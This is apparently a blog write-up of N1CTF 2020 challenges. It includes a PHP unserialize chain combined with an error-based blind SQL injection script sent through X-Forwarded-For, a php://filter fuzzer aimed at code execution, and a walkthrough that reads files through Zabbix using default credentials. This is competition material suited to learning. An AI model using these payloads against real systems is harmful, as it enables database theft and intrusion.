N1CTF 2020 Writeup

Author:颖奇L’Amore
Blog:www.gem-love.com

This weekend I played N1CTF with team r3kapig and finally we got the 2nd🥈 place. Thanks to all my teammates for their hard work, and also to the Nu1L team for holding the wonderful & awesome game.

Btw, writeup for all challenges we solved will be published here, check it out! I will write some of them in detail


web-signin

This challenge is the easiest web challenge, but it is very interesting especially for those who are new in CTF. It gives the source code It is easy to know that it is an unserialize challenge, and we can ctrl the serialize string totally. It means that you can create Object with any attributes’ value

Then let’s find the pop chain. it is easy to know that the purpose is to call flag->getflag() method by automatically calling __destruct() magic method, and $check attribute must be eq to a censored string "key****************". So now what we need to do is getting this secret string. Fortunately there is a ip class with a __toString() magic method. If you treat an Object as a string, it will automatically call the object’s __toString() method, and what __toString returns will be used. ip->__toString() will execute a mysql insert query, and one of the values is $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']), we can easily ctrl X-Forwarded-For header so it hints that it is a SQL inject challenge. But we don’t know what waf() method do but it must filter some sql keywords otherwise it would be a really really really easy challenge(in fact, even it has waf it is still not difficult). By fuzzing, we suppose that waf() method may look like this:

function waf($info){
if(preg_match("/get_locksleepbenchmarkcountwhencaserlikecount/i",$info)){
exit("hackhack");
}
}

according to the pattern,  we cannot use Time-based Blind SQLi. But insert query  returns nothing useful, so now we must find a way to get the sub select query result. The first time I wanted to use mysql load_file() to send a http request and use dnslog to receive the result but failed. Then I noticed that ip->__toString() will return mysqli_error($con), so maybe I can use Error-based SQLi. The exploit chain looks like:

  1. flag class’s member variable $ip is an ip object instance
  2. once unserialize() create the flag instance, __wakeup() method called
  3. in __wakeup(), stristr() function treat $this-ip as a string, and now $this->ip is ip object instance, so it called ip->_toString() method
  4. __toString do an sql query with error-based sqli payload(I’ll show you my payload later) in it because we controlled the XFF header. if the blind sqli expression in error-based sqli payload returns true,  __toString will return mysql error message, otherwise it returns “your ip looks ok!”
  5. since error-based sqli will return the sub select result, just decorate your payload to make sure it will return “n1ctf” in the hole error message when blind sqli returns true in sub select query(If you dont understand, dont worry, u will understand it after reading the payload). Then __wakeup will set $this->ip to “welcome to n1ctf2020”. If blind sqli returns false, $this->ip will be “noip”
  6. then flag automatically called __destruct() because it has nothing else to do, the object needs to be destroyed. echo $this->getflag() will echo $this->ip because we still dont know the key now.
  7. So, we have an error-based sqli payload will a sub select query in it. And the sub select query is a blind sqli payload, what this sub query returns will be up to a boolean expression. This boolean expression will finally control what is echoed when __destruct().
  8. According to the 2 different echo result, we can do Boolean-based SQL!

now I will show you my sqli payload:

'(select ip from n1ip where _updatexml(1,concat('~',(select if(ascii(substring((select database()),1,1))=100,'n1ctf','r3kapig')),'~'),3))'_

The italics are updatexml() error-based sqli, the blue part are the sub query I mentioned above, the pink part are what you want to dump, and the underline part is the boolean expression I also mentioned above. I think it’s time to write exp

<?php
class ip {
}

class flag {
public $ip;
public $check;
}
$flag = new flag;
$flag->ip = new ip;
echo urlencode(serialize($flag));

//O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req
import string

url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D"

#table: n1ip,n1key
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

#column: id,ip,time,id,key
sql = "select group_concat(column_name) from information_schema.columns where table_schema=database()"

#key:n1ctf20205bf75ab0a30dfc0c
sql = "select group_concat(`key`) from n1key"
res = ""
for i in range(1,100):
for char in string.ascii_letters + string.digits + ",}{@~.":
payload = f"'(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring(({sql}),{i},1))={ord(char)},'n1ctf','r3kapig')),'~'),3))'"
r = req.get(url,headers={"X-Forwarded-For" : payload})
if 'welcome to n1ctf2020<' in r.text:
res += char
print(res)
break
if char == '.':
exit(res)

What need to be noticed is that you can’t dump key by select key from n1key but select `key` from n1key. because key is a keyword of mysql and `key` means a column named key. After dumping the key, we can get flag by unserialize again

<?php
class flag
{
public $ip = "r3kapig";
public $check = "n1ctf20205bf75ab0a30dfc0c";
}

$flag = new flag;
echo "http://101.32.205.189/?input=" . urlencode(serialize($flag));

// http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22r3kapig%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D

flag: n1ctf{you_g0t_1t_hack_for_fun}


Misc-filter

I didnt solve this challenge because of several reasons, for example, my computer is out of power and it wouldn’t help us get champion. But this challege is quite interesting so that I decided to record our idea.

<?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
require_once $source_file;
}
catch(\Throwable $e){
pass;
}

unlink($source_file);

?>

also provided Dockerfile:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-get -y install php

RUN rm /var/www/html/index.html
COPY index.php /var/www/html/
RUN chmod -R 755 /var/www/html/

COPY flag /tmp/flag
RUN cat /tmp/flag > /var/www/html/`cat /tmp/flag`
RUN rm -rf /tmp/flag

CMD service apache2 restart & tail -F /var/log/apache2/access.log;

You can give any filters you want, you can also give more than one filters divided by /, then it will read file by using php://filter stream and push the result to an array. After that shuffle() function shuffles (randomizes the order of the elements in) an array. Finally write the array to a file and include the file. Obviously we need to RCE by using require_once $source_file. It is interesting that flag is on the web root directory and it named itself as it content(cat /tmp/flag > /var/www/html/`cat /tmp/flag` ). So the first code I wanna write into $source_file to include is <?=`ls`; Then what I need to do is get these chars(or substring of <?=`ls`;), I write a simple fuzzer to  get them.

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

from random import randint as r
import requests as req

def get_rand_filter(number):
known_filters = [
"string.strip_tags",
"string.rot13",
"convert.base64-encode",
"convert.base64-decode"
]
res = 'string.strip_tags'
for i in range(1,number+1):
res += known_filters[r(0,3)]
res += ''

return res[:-1]


url = "http://127.0.0.1:2334/"
data = {
"filters" : ""
}
res = {}
keys = []


try:
for i in range(1,1000):
for number in range(1,120):
data['filters'] = get_rand_filter(number)
rr = req.post(url=url, data=data)
if len(rr.text[21:25]) == 1:
key = ''
if ord(rr.text[21:25]) >= 32 and ord(rr.text[21:30]) <= 127:
key = rr.text[21:25]
else:
continue

if key not in ['>', '?', ';', '=', '`', 'l', 'L' , 's' , 'S', '<']:
print(f"key {key} is useless")
continue
tmp = {key : data['filters']}
res.update(tmp)
print(res)
print(res)
except Exception as e:
print(e)
print(res)

To be honest, this fuzzer script has a lot to improve on. For example, it can fuzz more than one char. If it find some filters that can get <?=`  , the challenge will become very simple. It’s easy to improve but I didn’t because we have high performance servers and two of my teammates help me run the script(main reason is I’m lazy). Finally we fuzzed out all these 8 characters. since there are two `, it just need to send about 7! = 5040 requests to let shuffle() get those 8 chars in the right order. for example, these filters can get `

string.strip_tagsconvert.base64-decodestring.strip_tagsconvert.base64-encodeconvert.base64-encodeconvert.base64-decodestring.strip_tagsstring.rot13convert.base64-encodestring.rot13convert.base64-encodestring.rot13string.strip_tagsstring.strip_tagsstring.strip_tagsconvert.base64-decodestring.rot13convert.base64-decodestring.rot13string.rot13

BUT!!! when I prepare to get flag, I found that local environment is different from the challenge!

It may be challenge author’s fault. Maybe he changed the php binary file or some other reason. We can still solve this challenge by download /usr/bin/php firstly and locally fuzz again, but I gave up because it was unnecessary. Solving this challenge wouldn’t let us get the first prize, but we have found the right way to solve the challenge, and that is enough. Challenge author’s fuzzer script here This challenge also has an unintended solution, you can check out Super Guesser‘s Writeup


web-zabbix_fun

build on local by using docker-compose up -d --build

version: '2'
services:
mysql:
image: mysql:8.0
container_name: mysql
environment:
- MYSQL_ROOT_PASSWORD=secret
networks:
- zbx-net

web:
image: zabbix/zabbix-web-nginx-mysql:ubuntu-5.0-latest
container_name: zabbix-web-nginx-mysql
environment:
- DB_SERVER_HOST=mysql
- MYSQL_USER=root
- MYSQL_PASSWORD=secret
- ZBX_SERVER_HOST=zabbix-server
- PHP_TZ=Asia/Shanghai
ports:
- '8080:8080'
links:
- mysql
- zabbix-server
depends_on:
- mysql
networks:
- zbx-net

zabbix-server:
image: zabbix/zabbix-server-mysql:alpine-5.0-latest
container_name: zabbix-server-mysql
environment:
- DB_SERVER_HOST=mysql
- MYSQL_USER=root
- MYSQL_PASSWORD=secret
ports:
- '10051:10051'
links:
- mysql
depends_on:
- mysql
networks:
- zbx-net

zabbix-agent:
image: zabbix/zabbix-agent:alpine-5.0-latest
container_name: zabbix-agent-secret
volumes:
- ./flag/:/flag/
environment:
- ZBX_HOSTNAME=secret_agent
- ZBX_SERVER_HOST=zabbix-server
networks:
- zbx-net

networks:
zbx-net:
driver: bridge
driver_opts:
com.docker.network.enable_ipv6: "false"
ipam:
driver: default
config:
- subnet: 172.16.233.0/24

This challenge is quite easy. After discussing with author, the intended solution is get a shell of zabbix server, but in fact it is totally unnecessary. What I did firstly is read zabbix document for more than 1h. First, login with Admin/zabbix

Then configure the host(zabbix agent) and make sure zbx is green

by default it is red because of the wrong config

what we must need to configure the host is agent’s ip and port. I got them from docker

configure the host and make ZBX green(green means available)

ZABBIX is used to monitor the server. noticed that it is monitoring whether the /etc/passwd of the agent is modified by vfs.file.cksum, which indicates that zabbix has the right to read files on agent.

and what is vfs.file.cksum? it is an item

then I thought there must be an item to read file content, and it’s true

now let get flag by using this item. And I got the 2nd blood of this challenge.

Easy but interesting! In fact, at the first time I configured the item but I don’t know how to Get value. Then I changed to try to RCE. What I did is configure a trigger -> trigger an action -> action execute command. But I failed because by default the agent don’t support to execute command.


Other Challenges

https://r3kapig.com/writeup/20201020-n1ctf/

Author: Y1ng
Link: https://www.gem-love.com/2020/10/20/n1ctf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!